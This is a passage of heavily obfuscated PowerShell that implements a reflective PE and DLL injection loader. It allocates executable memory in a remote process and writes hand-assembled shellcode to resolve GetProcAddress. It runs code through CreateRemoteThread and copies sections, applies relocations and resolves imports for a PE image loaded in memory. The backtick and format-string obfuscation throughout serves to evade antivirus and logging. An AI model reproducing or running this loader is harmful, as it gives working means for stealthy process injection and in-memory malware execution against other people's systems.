(${pTR`SI`zE}) &("{0}{4}{2}{3}{1}"-f'W','mory','e-Byt','esToMe','rit') -Bytes ${LOa`dL`i`BraRYsc4} -MemoryAddress ${s`cpSMEm} ${s`cPsMem} = &("{0}{1}{2}{3}" -f 'Add-SignedIn','tAsU','nsig','ned') ${scPs`m`EM} (${lOADLibrA`R`yS`c4}."L`EngTH") ${r`sc`ADDr} = ${WI`N32fU`NctI`O`NS}."viR`Tu`Al`AllOceX"."iNv`o`KE"(${rE`mo`TEpROchA`NDlE}, [IntPtr]::"Z`eRo", [UIntPtr][UInt64]${SC`leN`GTh}, ${w`IN32`Cons`TANTs}."m`eM`_`COMmIT" -bor ${wiN32`c`oN`STAN`TS}."m`EM_ReSer`VE", ${WIn32coN`S`TAntS}."p`Age`_e`xEcUTE_`R`EAd`WRite") if (${RS`cADDr} -eq [IntPtr]::"Z`ERO") { Throw "" } ${sUc`ceSs} = ${Win`3`2FU`NctIO`NS}."wR`iTeprOC`E`SsMEmOry"."INVO`kE"(${rEmotE`Pro`ch`AnDle}, ${r`scA`Ddr}, ${sc`ps`mem`ORI`gi`NAL}, [UIntPtr][UInt64]${S`clE`NGTH}, [Ref]${nu`mbYT`esW`R`IttEN}) if ((${S`Ucce`SS} -eq ${Fal`sE}) -or ([UInt64]${Num`BYTe`SWri`T`Ten} -ne [UInt64]${Sc`l`engtH})) { Throw "" } ${RthRe`ADhand`le} = &("{1}{4}{3}{2}{0}"-f'moteThread','Cr','e-Re','t','ea') -ProcessHandle ${rEM`OTE`pRoch`A`N`dLE} -StartAddress ${R`scAd`dr} -Win32Functions ${W`In32Func`Tio`Ns} ${R`eSU`lT} = ${WiN32f`Unc`T`i`ONs}."WAitF`o`Rsingle`oBject"."IN`VokE"(${RTHR`e`AD`HaNdle}, 20000) if (${RE`s`ULt} -ne 0) { Throw "" } [IntPtr]${reT`U`RNVa`lmeM} = [System.Runtime.InteropServices.Marshal]::"al`LOcHgLO`B`Al"(${PT`Rsi`zE}) ${rE`Sult} = ${wIN32`F`UnCtI`o`Ns}."Re`AdPRoCES`SM`emOry"."InVO`Ke"(${ReMOtE`PR`oCh`AndLe}, ${lOAd`Li`BRARy`ARet`m`em}, ${R`et`Ur`NVALMEM}, [UIntPtr][UInt64]${PTr`Size}, [Ref]${NumByT`E`sWRIt`T`en}) if (${R`ES`Ult} -eq ${F`AlsE}) { Throw "" } [IntPtr]${dLl`ADd`Ress} = [System.Runtime.InteropServices.Marshal]::"p`TRTOst`Ru`cturE"(${ReT`URNV`AlMeM}, [Type][IntPtr]) ${w`In`32`FUNC`TioNs}."VirTUalFr`e`EEX"."iN`VoKE"(${REMOte`proC`Ha`NDLe}, ${Lo`AD`LIB`R`ARY`A`ReTmEM}, [UIntPtr][UInt64]0, ${wi`N3`2coNStAnTs}."mEm`_REL`E`ASe") | &("{1}{2}{0}"-f'l','Out-N','ul') ${wIN32f`U`NCt`I`ons}."VI`Rt`UA`l`FReeeX"."i`NVOKE"(${REmotEPro`CHA`Nd`le}, ${rs`CAd`dr}, [UIntPtr][UInt64]0, ${WIn32C`O`NsT`An`Ts}."mEm_`R`eLea`Se") | &("{0}{1}" -f 'O','ut-Null') } else { [IntPtr]${rt`h`RE`AdHA`NdlE} = &("{4}{1}{2}{3}{0}"-f 'd','te-','Re','moteThrea','Crea') -ProcessHandle ${REMO`T`eP`RoC`HaNdlE} -StartAddress ${LOAD`L`ib`RAry`Aad`DR} -ArgumentPtr ${rI`mpo`RTdllPat`H`pTR} -Win32Functions ${WiN32f`U`NctIO`Ns} ${r`e`suLT} = ${W`IN`32FUNCTi`Ons}."w`AIt`Fors`i`NglEO`BjECT"."inVO`kE"(${RT`HRE`Ad`HanDle}, 20000) if (${Res`U`LT} -ne 0) { Throw "" } [Int32]${eXiT`c`O`DE} = 0 ${R`esU`lt} = ${WI`N3`2`FunCTIoNs}."gET`e`xITCo`DE`THReAD"."in`Vo`ke"(${r`THReA`dHA`NDlE}, [Ref]${eXI`TCO`dE}) if ((${r`eSu`lT} -eq 0) -or (${exit`cO`DE} -eq 0)) { Throw "" } [IntPtr]${DL`la`d`dREsS} = [IntPtr]${e`xi`TcodE} } ${wIN3`2fU`NCtiO`NS}."VIR`TUA`lFR`EEeX"."IN`VOkE"(${rem`oteproc`HaNd`Le}, ${R`imp`oRTdllp`A`ThPtr}, [UIntPtr][UInt64]0, ${W`In32`c`ONS`TanTs}."m`E`M`_RelEaSE") | &("{2}{0}{1}" -f 't-Nul','l','Ou') return ${d`ll`AD`DresS} } Function g`e`T-Re`moT`EPRocAdDrEsS { Param( [Parameter(pOsiTIOn=0, mANdATOry=${t`RUE})] [IntPtr] ${R`E`mo`Te`pROch`ANDLE}, [Parameter(POSition=1, MaNdAtory=${t`RuE})] [IntPtr] ${RE`mOtE`Dllhand`LE}, [Parameter(posItIoN=2, mAndatORy=${t`RuE})] [IntPtr] ${fU`NctiO`N`NAMeptr}, [Parameter(PoSitIoN=3, maNdatorY=${t`RUE})] [Bool] ${l`oADb`yORDINAl} ) ${pt`R`siZe} = [System.Runtime.InteropServices.Marshal]::"SI`zeoF"([Type][IntPtr]) [IntPtr]${RfU`NcN`AMep`Tr} = [IntPtr]::"Z`ERo" if (-not ${LOAdB`Yo`R`dINAl}) { ${F`UncTI`ONnaMe} = [System.Runtime.InteropServices.Marshal]::"PTr`T`OSTrINg`ANsI"(${funCtI`o`Nn`Ameptr}) ${f`UNcTI`o`N`NamesIze} = [UIntPtr][UInt64]([UInt64]${FUncTI`Onna`mE}."L`EnGtH" + 1) ${r`FUNcNAMeP`TR} = ${WIN32`FUnC`T`iONs}."vIRtuA`Lall`o`C`Ex"."invO`kE"(${ReMoTe`PR`o`CHa`N`dLE}, [IntPtr]::"Z`Ero", ${F`UnC`Tio`NnamEsI`Ze}, ${wI`N32co`Ns`TAnTs}."me`M_`cOMmIT" -bor ${WiN`32C`ONs`TAN`TS}."mem_R`EsE`RvE", ${wI`N32Con`s`TaNts}."pAge_`R`ea`DwRitE") if (${rF`UnCNam`EpTr} -eq [IntPtr]::"z`eRO") { Throw "" } [UIntPtr]${n`UMB`Y`TeS`WRitT`En} = [UIntPtr]::"ze`RO" ${SuCC`E`sS} = ${WIn32fu`N`CtiO`NS}."Wr`ItEPRoCEs`SMe`M`oRY"."Inv`OkE"(${Rem`OtEP`RoCh`A`NDLE}, ${r`FUNcn`A`MePTr}, ${Function`NAm`e`PTr}, ${func`TIOn`N`A`MEsIZE}, [Ref]${n`UMb`YTe`sWRIT`TEN}) if (${s`U`cCess} -eq ${FA`LSE}) { Throw "" } if (${fuN`CtIo`N`N`AMeSizE} -ne ${NUM`BytEs`w`R`itTEN}) { Throw "" } } else { ${r`FUncNa`M`ePtR} = ${FUN`CTioNnAM`e`ptr} } ${kErn`el3`2han`dLE} = ${w`in`32`FunCT`iONS}."GE`TModu`LehAN`DlE"."INv`o`Ke"("kernel32.dll") ${GeT`PR`o`C`ADdRESSa`DDr} = ${WI`N3`2fu`NcTi`onS}."GetP`RocaDD`R`E`ss"."in`VOke"(${KerNel`3`2`hAndLE}, "GetProcAddress") ${gEtpROc`A`ddrE`s`SrETmeM} = ${wi`N32fuN`C`TIONs}."vI`Rtu`AlaL`loCEx"."inv`O`kE"(${rem`oTEPrO`c`H`AnDLE}, [IntPtr]::"Z`eRo", [UInt64][UInt64]${p`Trsi`ze}, ${wi`N3`2cONsT`AnTS}."meM`_Com`mIT" -bor ${wIn`32co`NSTA`NtS}."M`em_reSE`Rve", ${w`In32cO`Nstants}."PagE_REaD`W`R`Ite") if (${GetpRoc`A`dd`RESs`R`EtmeM} -eq [IntPtr]::"Ze`Ro") { Throw "" } [Byte[]]${GE`T`pRO`cAD`DReSsSC} = @() if (${p`EInfO}."pE`64bit" -eq ${Tr`Ue}) { ${geTpRo`C`AD`dr`esS`sC1} = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) ${GeTPrO`caD`d`Re`sssC2} = @(0x48, 0xba) ${g`etp`Roc`A`DdRESssc3} = @(0x48, 0xb8) ${g`et`PrOCa`dDre`SSsc4} = @(0xff, 0xd0, 0x48, 0xb9) ${GE`Tpr`OcAd`DRESs`sc5} = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3) } else { ${geTpro`C`AdDReSS`sC1} = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8) ${gEtPr`OCaDdR`e`SS`sc2} = @(0xb9) ${getProcaD`d`REs`sS`C3} = @(0x51, 0x50, 0xb8) ${GEtp`R`OCad`D`RESs`sC4} = @(0xff, 0xd0, 0xb9) ${geT`pROC`A`ddre`SsSc5} = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3) } ${sCl`eNg`Th} = ${getp`Roc`AdDressS`C1}."l`En`GtH" + ${gEt`Proc`Add`ReSSS`C2}."l`E`NgtH" + ${gET`pro`CADd`R`eSSsC3}."lE`Ng`Th" + ${gEt`PROCaDd`ResSs`c4}."L`enGTH" + ${gE`T`PROCaDd`ResSS`c5}."lEn`GtH" + (${PTR`sIze} * 4) ${S`Cps`MEM} = [System.Runtime.InteropServices.Marshal]::"a`LlOChgL`obal"(${SC`lenGth}) ${scpSM`Em`orIG`in`AL} = ${s`cpSM`Em} &("{2}{1}{3}{0}"-f'ry','ite-Bytes','Wr','ToMemo') -Bytes ${G`Etp`R`oCa`dDreSSS`C1} -MemoryAddress ${Sc`PS`mem} ${scPsM`em} = &("{5}{3}{2}{1}{0}{4}"-f'ign','ntAsUns','ignedI','dd-S','ed','A') ${s`cP`smeM} (${getPROC`ADd`R`eSSSc1}."l`ENgth") [System.Runtime.InteropServices.Marshal]::"s`T`RuCTUrETOp`Tr"(${ReMOTedllh`An`d`Le}, ${S`cpS`mEm}, ${FA`LSE}) ${S`cPSm`EM} = &("{0}{2}{5}{4}{1}{3}{6}"-f 'A','g','dd-S','n','tAsUnsi','ignedIn','ed') ${s`Cp`SMEM} (${p`TrSi`zE}) &("{1}{0}{3}{2}"-f'tes','Write-By','mory','ToMe') -Bytes ${geTpR`ocAD`DResss`c2} -MemoryAddress ${S`CpSM`eM} ${s`CPSM`EM} = &("{5}{2}{0}{4}{7}{1}{3}{6}"-f 'S','ed','-','I','i','Add','ntAsUnsigned','gn') ${ScPS`M`eM} (${g`ET`PROc`ADDres`ssC2}."le`N`GTh") [System.Runtime.InteropServices.Marshal]::"S`TRUc`TurE`TO`ptR"(${rF`UNCN`A`mEpTR}, ${scpsm`EM}, ${fa`L`Se}) ${sC`p`SMeM} = &("{0}{2}{3}{1}" -f'Add-Sign','ed','edIn','tAsUnsign') ${scP`Smem} (${ptRSi`ze}) &("{2}{1}{3}{0}"-f 'ry','-BytesTo','Write','Memo') -Bytes ${geTpRo`cA`DDReSSs`c3} -MemoryAddress ${scP`sM`Em} ${Scp`SMEM} = &("{6}{5}{1}{0}{3}{4}{2}"-f'ig','d-S','sUnsigned','nedInt','A','d','A') ${SC`Psm`EM} (${g`e`TpROcAdd`ReSSsc3}."LeN`gTH") [System.Runtime.InteropServices.Marshal]::"s`TRuct`URe`T`OPTR"(${geT`PR`o`caDDreS`sADDr}, ${Sc`pSM`Em}, ${Fal`SE}) ${scPsM`Em} = &("{2}{0}{4}{6}{3}{1}{5}"-f 'Sig','ne','Add-','nsig','n','d','edIntAsU') ${sc`psmEm} (${P`TRsIZe}) &("{2}{1}{3}{0}"-f 'y','e-BytesTo','Writ','Memor') -Bytes ${GETPRoCAD`DRe`s`SsC4} -MemoryAddress ${SC`PS`mEm} ${SC`p`SmEm} = &("{0}{2}{3}{1}" -f'A','ed','dd-S','ignedIntAsUnsign') ${ScPS`m`eM} (${Ge`TProCADdr`eSsS`c4}."L`e`NgtH") [System.Runtime.InteropServices.Marshal]::"STRuc`Ture`TO`ptR"(${Getp`R`o`CAddrESs`RetMEm}, ${s`Cps`mEm}, ${F`ALse}) ${SCP`Sm`eM} = &("{4}{0}{3}{5}{1}{2}" -f'gn','ne','d','edIntAsUns','Add-Si','ig') ${s`cPsmem} (${P`TRSiZe}) &("{3}{0}{2}{1}{4}"-f'e-By','oMem','tesT','Writ','ory') -Bytes ${GEtPr`OCaDdR`Es`S`sc5} -MemoryAddress ${sC`p`SMEM} ${sc`PSMem} = &("{4}{3}{1}{0}{5}{2}" -f'sUn','dIntA','gned','d-Signe','Ad','si') ${S`CPs`mEM} (${gEtP`R`Oca`DDR`eSssC5}."leNg`Th") ${RscaD`DR} = ${win`32fUnC`TIONS}."VIrtUa`La`LLoC`ex"."Inv`okE"(${rE`MOTEpR`o`CHan`Dle}, [IntPtr]::"Ze`Ro", [UIntPtr][UInt64]${Sc`L`EnGtH}, ${wIn3`2co`NSta`NtS}."m`e`M_Com`mIT" -bor ${WIN32`cOn`sT`AN`Ts}."me`M`_reSErVE", ${W`iN32`consT`ANTS}."page_EX`e`CUT`e_ReA`d`wRIte") if (${rScA`d`DR} -eq [IntPtr]::"zE`Ro") { Throw "" } [UIntPtr]${NU`MBY`TE`Sw`RiTTEN} = [UIntPtr]::"Z`ErO" ${su`CcEss} = ${wIN32`FUncT`io`NS}."wr`Ite`pR`oCEsSmeMOrY"."i`Nvo`Ke"(${r`EmOTe`pRo`CHAN`dLE}, ${R`SCAd`dR}, ${sCpSm`em`OrIgINAL}, [UIntPtr][UInt64]${S`Cl`ength}, [Ref]${NUMbYtes`wr`iTt`EN}) if ((${S`UcC`ESS} -eq ${FAl`sE}) -or ([UInt64]${n`U`M`BYtesWRItTEN} -ne [UInt64]${scL`ENgth})) { Throw "" } ${RtHread`h`A`N`dle} = &("{2}{4}{0}{1}{3}" -f '-R','e','Cre','moteThread','ate') -ProcessHandle ${R`e`moT`Ep`ROCha`Ndle} -StartAddress ${r`SCaDdr} -Win32Functions ${WiN32fu`NCtI`Ons} ${rE`su`lt} = ${WIN3`2fuNcTI`ons}."w`AItFOrSI`NGl`EOBJECT"."I`NvOKE"(${rtH`R`eAD`HandLe}, 20000) if (${R`ESU`LT} -ne 0) { Throw "" } [IntPtr]${re`TUrNvaL`M`em} = [System.Runtime.InteropServices.Marshal]::"ALl`ochglo`BaL"(${PT`RSi`ze}) ${Re`SU`lT} = ${wi`N`32FunC`TI`ons}."REAd`p`ROCEssMe`MORY"."InvO`ke"(${rEMot`E`Procha`ND`lE}, ${GE`TpR`oCadd`RES`sR`ETmEm}, ${r`E`T`Urnval`mEM}, [UIntPtr][UInt64]${PT`RSIze}, [Ref]${num`By`TesWRiTTeN}) if ((${r`E`sULt} -eq ${F`AL`se}) -or (${nUmbYTEswri`T`TeN} -eq 0)) { Throw "" } [IntPtr]${pR`OCADd`ResS} = [System.Runtime.InteropServices.Marshal]::"PTrTos`TRUctu`RE"(${rEtuR`NVaL`M`em}, [Type][IntPtr]) ${wiN32`FU`N`CtiONs}."VIr`TU`Al`FRe`eeX"."i`NvO`kE"(${rEmOtEP`R`ocH`AN`Dle}, ${rSc`Ad`dr}, [UIntPtr][UInt64]0, ${wIN32Co`NS`TA`N`Ts}."M`Em`_RELEaSE") | &("{0}{2}{1}"-f'Out','ll','-Nu') ${WiN`32`FunCTi`ONS}."VirTUA`lfr`E`EeX"."INv`OkE"(${REmOte`P`Ro`chanD`le}, ${GEtProCadD`REssR`et`m`EM}, [UIntPtr][UInt64]0, ${Wi`N3`2CONStAn`TS}."MeM`_`ReLEASE") | &("{1}{0}{2}"-f'ut','O','-Null') if (-not ${Loa`dB`yo`Rdi`NAL}) { ${wi`N32f`UNcTiONS}."vIRTuaL`F`Reeex"."inV`o`Ke"(${REm`o`TePro`CH`ANDle}, ${RFu`N`cNAmEP`TR}, [UIntPtr][UInt64]0, ${WiN3`2c`oNStAn`Ts}."m`eM_`RE`leaSe") | &("{2}{0}{1}" -f'ut-','Null','O') } return ${Pr`Oc`AdD`Ress} } Function CO`PY-SectI`O`Ns { Param( [Parameter(pOsITION = 0, mAnDaTORy = ${t`RUE})] [Byte[]] ${peby`T`eS}, [Parameter(POSitiOn = 1, mANDAtORY = ${tr`UE})] [System.Object] ${PE`I`NFO}, [Parameter(posiTion = 2, mandAToRY = ${t`RUe})] [System.Object] ${wI`N32`FU`N`CTIONs}, [Parameter(pOSItIOn = 3, ManDAtORY = ${T`RuE})] [System.Object] ${wI`N32TYp`eS} ) for( ${I} = 0; ${i} -lt ${pe`InFO}."iMagE`_n`T_`Hea`DeRs"."f`ILEhE`AdeR"."nu`mBER`O`FseC`TIOnS"; ${I}++) { [IntPtr]${s`ECtiONh`eADE`Rptr} = [IntPtr](&("{5}{0}{2}{4}{7}{6}{3}{1}"-f'-S','ned','ign','Unsig','e','Add','tAs','dIn') ([Int64]${p`ei`NFO}."s`ECT`iOnh`e`ADErPTr") (${I} * [System.Runtime.InteropServices.Marshal]::"SIz`EOF"([Type]${Win3`2ty`PeS}."imA`GE`_SEcT`i`On_heAd`er"))) ${SE`CTIoN`h`eAD`ER} = [System.Runtime.InteropServices.Marshal]::"ptRT`OStruC`Ture"(${S`EctiON`heADeR`ptr}, [Type]${WIN3`2Ty`PEs}."IMag`e`_seCtI`on_heaDEr") [IntPtr]${seCtionde`s`Taddr} = [IntPtr](&("{3}{0}{6}{4}{5}{2}{1}"-f 'Si','ed','n','Add-','IntA','sUnsig','gned') ([Int64]${P`EIn`Fo}."P`eh`Andle") ([Int64]${S`e`CtIoNh`e`AdER}."VI`RtUaL`Ad`D`REsS")) ${siZ`EOfraWDa`TA} = ${sE`ctIOnh`EA`dER}."s`IzEoFra`w`D`ATa" if (${SECTIo`NHEa`DER}."P`Oi`Nt`E`RToRaWDAta" -eq 0) { ${siZ`eoFrAW`d`A`Ta} = 0 } if (${sIZ`eofRa`Wd`A`TA} -gt ${SeCTI`oN`H`eadEr}."VI`RTua`lsi`ZE") { ${SIze`O`F`RAWda`TA} = ${sECT`Ion`hE`AdEr}."VIr`TuAl`SIZe" } if (${S`izeOfrA`wd`ATa} -gt 0) { &("{3}{1}{2}{0}{5}{4}{6}"-f 'Ran','em','ory','Test-M','eVa','g','lid') -DebugString "Copy-Sections::MarshalCopy" -PEInfo ${pEIN`FO} -StartAddress ${se`CTi`o`NDEStAd`DR} -Size ${S`Izeo`FRAWD`Ata} | &("{2}{1}{0}"-f 'l','-Nul','Out') [System.Runtime.InteropServices.Marshal]::"C`opY"(${p`EB`yteS}, [Int32]${SectiON`hEA`D`eR}."Poi`NtErTOr`A`WdAtA", ${s`ECTI`O`ND`eS`Taddr}, ${SizE`OfR`AwD`ATA}) } if (${s`EC`TiOnHEa`DER}."SiZ`EOfRA`wdAtA" -lt ${SeCt`i`OnH`E`ADer}."vi`RTUAl`sIZe") { ${D`i`FFEReNCe} = ${sE`cti`ONhE`ADeR}."virtUa`L`sizE" - ${siZ`EOF`RaW`dAta} [IntPtr]${ST`A`RtaDdR`e`ss} = [IntPtr](&("{6}{1}{2}{5}{4}{3}{0}" -f 'ned','-Sign','ed','ig','s','IntAsUn','Add') ([Int64]${SECtIOnDESTa`D`Dr}) ([Int64]${SI`ZEofr`Aw`dATA})) &("{0}{1}{4}{2}{3}" -f 'Test-Me','m','RangeVal','id','ory') -DebugString "Copy-Sections::Memset" -PEInfo ${PE`in`Fo} -StartAddress ${S`T`AR`TaD`dress} -Size ${DiF`F`erEncE} | &("{1}{2}{0}"-f'Null','O','ut-') ${wIN32`FU`NcTi`ONS}."ME`mSet"."INv`okE"(${ST`A`Rtadd`REsS}, 0, [IntPtr]${di`Ff`ere`NcE}) | &("{0}{2}{1}"-f 'Ou','ll','t-Nu') } } } Function upd`ATE-meMO`R`Ya`dDRess`es { Param( [Parameter(posITIon = 0, mANdAtORY = ${t`RUE})] [System.Object] ${p`e`iNfo}, [Parameter(pOsITion = 1, ManDaTorY = ${tr`UE})] [Int64] ${o`R`iGIN`ALImag`EBa`se}, [Parameter(PosITIOn = 2, mAndatoRY = ${T`Rue})] [System.Object] ${wIN32Con`ST`AN`Ts}, [Parameter(PoSitioN = 3, MANDaTory = ${tr`UE})] [System.Object] ${wi`N32TYp`eS} ) [Int64]${baSE`DifFE`REN`CE} = 0 ${AddD`iffeReN`ce} = ${t`Rue} [UInt32]${im`A`geBA`SerE`L`OCsize} = [System.Runtime.InteropServices.Marshal]::"SIZ`EOf"([Type]${win`3`2TYP`es}."im`AGE_B`AsE_`RElOcAtion") if ((${OrigI`NaLIm`Ag`eBASE} -eq [Int64]${Pe`inFo}."e`FfecTivepeH`A`N`D`LE") ` -or (${pein`Fo}."imaG`E_NT_`hE`ADE`Rs"."optiOn`AL`He`ADER"."baSER`eLO`CatI`o`Nta`BLE"."s`IZE" -eq 0)) { return } elseif ((&("{1}{5}{4}{7}{0}{6}{2}{3}"-f'l1','C','ThanVal2AsU','Int','are-','omp','Greater','Va') (${oriG`I`NAL`Im`A`geBAse}) (${PEiN`FO}."eFfeC`TIv`ep`e`HaNdLe")) -eq ${tr`UE}) { ${b`As`edIF`FEREn`ce} = &("{4}{1}{5}{0}{2}{3}" -f's','ub-','ig','ned','S','SignedIntAsUn') (${o`R`IGinA`Lim`A`gebAsE}) (${PeiN`Fo}."EFfectIvE`pe`H`An`DlE") ${a`DDDI`FfERenCe} = ${FA`lse} } elseif ((&("{1}{6}{3}{4}{7}{0}{5}{2}"-f'al2As','Co','Int','are','-Val1Great','U','mp','erThanV') (${P`eInFO}."EfFE`c`TIVE`peH`AndLE") (${OriGINal`i`ma`g`ebase})) -eq ${TR`Ue}) { ${b`A`SeDIFFer`ence} = &("{4}{1}{3}{0}{2}"-f'ig','Signe','ned','dIntAsUns','Sub-') (${p`eI`NFO}."eFfec`T`ivEPeH`A`Nd`lE") (${oRIgINALiM`AgE`Ba`sE}) } [IntPtr]${BaSeRE`Lo`cp`Tr} = [IntPtr](&("{6}{0}{5}{4}{1}{2}{3}" -f 'd','AsUnsig','n','ed','t','-SignedIn','Ad') ([Int64]${pein`FO}."P`eHanD`lE") ([Int64]${PEI`N`Fo}."i`mAge_NT`_H`EAdE`Rs"."op`TiOnALH`eA`d`er"."Ba`SeRelO`cATIoN`T`Ab`Le"."Vi`Rt`U`Alad`dresS")) while(${t`RUe}) { ${bAserElOcAtIO`NT`AB`LE} = [System.Runtime.InteropServices.Marshal]::"Pt`RtOS`T`RUcturE"(${BasE`Rel`O`cptr}, [Type]${w`iN`32tyPes}."im`A`GE_BA`Se_R`eLocatI`ON") if (${baSerELo`cA`TI`OntAB`le}."sI`Z`Eofb`Lock" -eq 0) { break } [IntPtr]${M`eMA`DDrB`ASE} = [IntPtr](&("{2}{3}{4}{1}{0}" -f'd','gne','Add-SignedIntAs','Uns','i') ([Int64]${pe`i`NFO}."pehA`N`Dle") ([Int64]${BaS`e`Re`l`OCAtIo`NTaBLE}."virtU`ALAd`D`RE`ss")) ${nu`m`RE`lo`CaTIOns} = (${BA`SErelOc`A`TiontA`BlE}."si`Ze`OFBl`ocK" - ${i`MaG`Eb`AseR`eLOCSizE}) / 2 for(${i} = 0; ${i} -lt ${NUmrelO`cAT`iO`NS}; ${I}++) { ${re`l`OC`A`TIONinf`opTr} = [IntPtr](&("{1}{0}{2}{4}{3}"-f'Sig','Add-','ned','signed','IntAsUn') ([IntPtr]${Basere`L`Ocp`TR}) ([Int64]${Im`AgEBA`S`e`Re`locsIze} + (2 * ${i}))) [UInt16]${reloCAt`i`On`In`Fo} = [System.Runtime.InteropServices.Marshal]::"pT`R`T`ostrucTuRe"(${ReLoC`A`TIon`In`FO`pTR}, [Type][UInt16]) [UInt16]${R`e`LocOFF`sEt} = ${RelOCATi`oni`N`FO} -band 0x0FFF [UInt16]${R`ELOc`TypE} = ${r`ElOC`AT`IO`NINfo} -band 0xF000 for (${j} = 0; ${j} -lt 12; ${J}++) { ${REl`O`cTY`Pe} = [Math]::"flO`Or"(${re`Lo`ctYpe} / 2) } if ((${rE`lOc`TY`pE} -eq ${WiN3`2cOnst`A`NtS}."Ima`ge_`RE`L_b`ASEd_highlOW") ` -or (${REL`OCTy`PE} -eq ${W`In32`co`NsTantS}."Ima`Ge_`Re`L_BaSeD_D`IR64")) { [IntPtr]${f`iNAL`A`DDr} = [IntPtr](&("{2}{3}{1}{4}{0}" -f 'ned','gnedIn','A','dd-Si','tAsUnsig') ([Int64]${m`EMa`DDRBase}) ([Int64]${REL`OCo`FFSet})) [IntPtr]${c`URRaD`Dr} = [System.Runtime.InteropServices.Marshal]::"P`T`RtO`stRUCtU`RE"(${fina`LA`dDR}, [Type][IntPtr]) if (${ad`dd`ifF`ERE`Nce} -eq ${t`RUE}) { [IntPtr]${C`U`RRA`DDR} = [IntPtr](&("{0}{5}{2}{3}{1}{4}"-f 'Add-Sign','Unsig','I','ntAs','ned','ed') ([Int64]${CURRa`d`Dr}) (${bas`Ed`ifFe`RENcE})) } else { [IntPtr]${c`URRaD`dr} = [IntPtr](&("{3}{0}{1}{2}{4}" -f'ne','dIntAs','U','Sub-Sig','nsigned') ([Int64]${curR`AD`Dr}) (${BaS`edIFfE`R`en`Ce})) } [System.Runtime.InteropServices.Marshal]::"str`UCtUR`ET`OptR"(${CUrrA`d`dr}, ${FI`NA`lAdDr}, ${F`A`lsE}) | &("{0}{1}{2}"-f 'Out-N','ul','l') } elseif (${R`ELoC`TYpe} -ne ${w`IN32C`ON`Sta`NtS}."I`Mage_r`E`L_base`d_`AbS`OLute") { Throw "" } } ${bASe`R`EL`ocpTr} = [IntPtr](&("{0}{2}{1}{3}{4}"-f 'Ad','dI','d-Signe','ntAsUns','igned') ([Int64]${baSE`Re`LoCptR}) ([Int64]${BaseR`elO`cAtI`On`TAble}."S`IZEOfB`LO`cK")) } } Function I`Mpor`T-Dllimp`oR`Ts { Param( [Parameter(posiTION = 0, MAnDAtORY = ${t`RUE})] [System.Object] ${pE`i`NFo}, [Parameter(pOsITIOn = 1, mAnDatorY = ${tR`Ue})] [System.Object] ${wIN32F`Un`CTIOnS}, [Parameter(PosiTIoN = 2, manDAtOrY = ${Tr`Ue})] [System.Object] ${wI`N3`2types}, [Parameter(POSiTiON = 3, mandAtorY = ${tr`UE})] [System.Object] ${WIN`32c`o`NstaNts}, [Parameter(poSITiOn = 4, MaNdAToRY = ${Fa`l`SE})] [IntPtr] ${RE`MoTeproC`hA`NdLe} ) ${REMOTe`LOA`dI`Ng} = ${Fa`l`SE} if (${PEiN`FO}."peH`ANdle" -ne ${p`Ei`NfO}."EF`FEC`TI`V`ePEh`AndLE") { ${ReMOT`E`loADiNG} = ${Tr`UE} } if (${Pe`in`FO}."i`maGE_N`T`_HE`AdERS"."OPTIo`N`AlHE`AdER"."iMpOR`Tt`AblE"."SI`Ze" -gt 0) { [IntPtr]${impOrTd`esC`Ript`OR`pTR} = &("{2}{4}{0}{1}{5}{6}{3}" -f 'edIn','tAs','Add-Si','ed','gn','Uns','ign') ([Int64]${PEIN`FO}."PE`ha`NDle") ([Int64]${PEI`NFo}."iM`AGe`_n`T_hEaDe`RS"."opTiON`ALHea`dEr"."I`mpor`TTAbLe"."ViR`TuaLAd`Dr`Ess") while (${TR`UE}) { ${IM`P`ORtD`esCr`iPTOr} = [System.Runtime.InteropServices.Marshal]::"ptr`TOS`TrUct`U`Re"(${imPo`RTDe`sCriPtoR`P`Tr}, [Type]${Wi`N32TYp`Es}."ImAg`e_ImPOr`T_De`s`cR`IpToR") if (${i`M`pO`RtDescr`iPtoR}."c`ha`R`ACTeriSTiCs" -eq 0 ` -and ${impOrt`De`sCRI`p`ToR}."FIr`St`THUnK" -eq 0 ` -and ${imP`orTdE`Scr`iP`TOr}."fo`R`waRderCHA`in" -eq 0 ` -and ${iMPoRtD`ESC`R`ip`TOR}."NA`ME" -eq 0 ` -and ${impO`Rtd`EScR`ipT`Or}."TImeDAT`E`ST`AmP" -eq 0) { &("{0}{2}{3}{1}"-f 'Write','ose','-','Verb') "" break } ${imPO`RTD`lL`HandlE} = [IntPtr]::"Z`Ero" ${i`mpoR`Td`LLpAth`pTr} = (&("{1}{3}{2}{0}{4}" -f 'ntAsUnsign','A','SignedI','dd-','ed') ([Int64]${pEi`N`FO}."PeH`AndLE") ([Int64]${I`m`portdEs`Cr`IPT`OR}."N`Ame")) ${I`mpO`Rtd`lLP`ATH} = [System.Runtime.InteropServices.Marshal]::"pTrToSTrI`N`G`AnSI"(${iMPO`RTD`Ll`pA`T`hPtr}) if (${Re`MoteL`O`A`dinG} -eq ${Tr`Ue}) { ${ImP`Or`TdLlhANd`LE} = &("{1}{0}{4}{3}{6}{5}{7}{2}"-f 'ort-','Imp','ss','llInRemot','D','c','ePro','e') -RemoteProcHandle ${rE`M`otePROc`haNdlE} -ImportDllPathPtr ${imPor`TDl`LpaTH`pTr} } else { ${I`mPortDllh`A`N`dLe} = ${W`In3`2F`UnCT`Ions}."LoA`dLiBr`Ary"."IN`VOKe"(${im`PoR`TdlLPa`TH}) } if ((${i`m`pOrT`dLl`HaNdle} -eq ${N`ULl}) -or (${I`mportdL`l`hA`NDLE} -eq [IntPtr]::"ze`Ro")) { throw "" } [IntPtr]${tHU`NKR`EF} = &("{3}{4}{2}{0}{1}"-f'IntAsUn','signed','gned','Ad','d-Si') (${P`eI`Nfo}."PEHA`NDlE") (${IM`pOr`Tdescri`PToR}."f`irst`ThUNK") [IntPtr]${O`RIgiN`AL`THunKRef} = &("{2}{3}{4}{1}{0}{5}" -f'si','ntAsUn','Add','-','SignedI','gned') (${p`EinFo}."pEha`Nd`le") (${iM`pORTD`ES`CriPTOR}."CHA`Rac`Te`RiS`TiCS") [IntPtr]${oRiG`inaLthu`NKre`FvaL} = 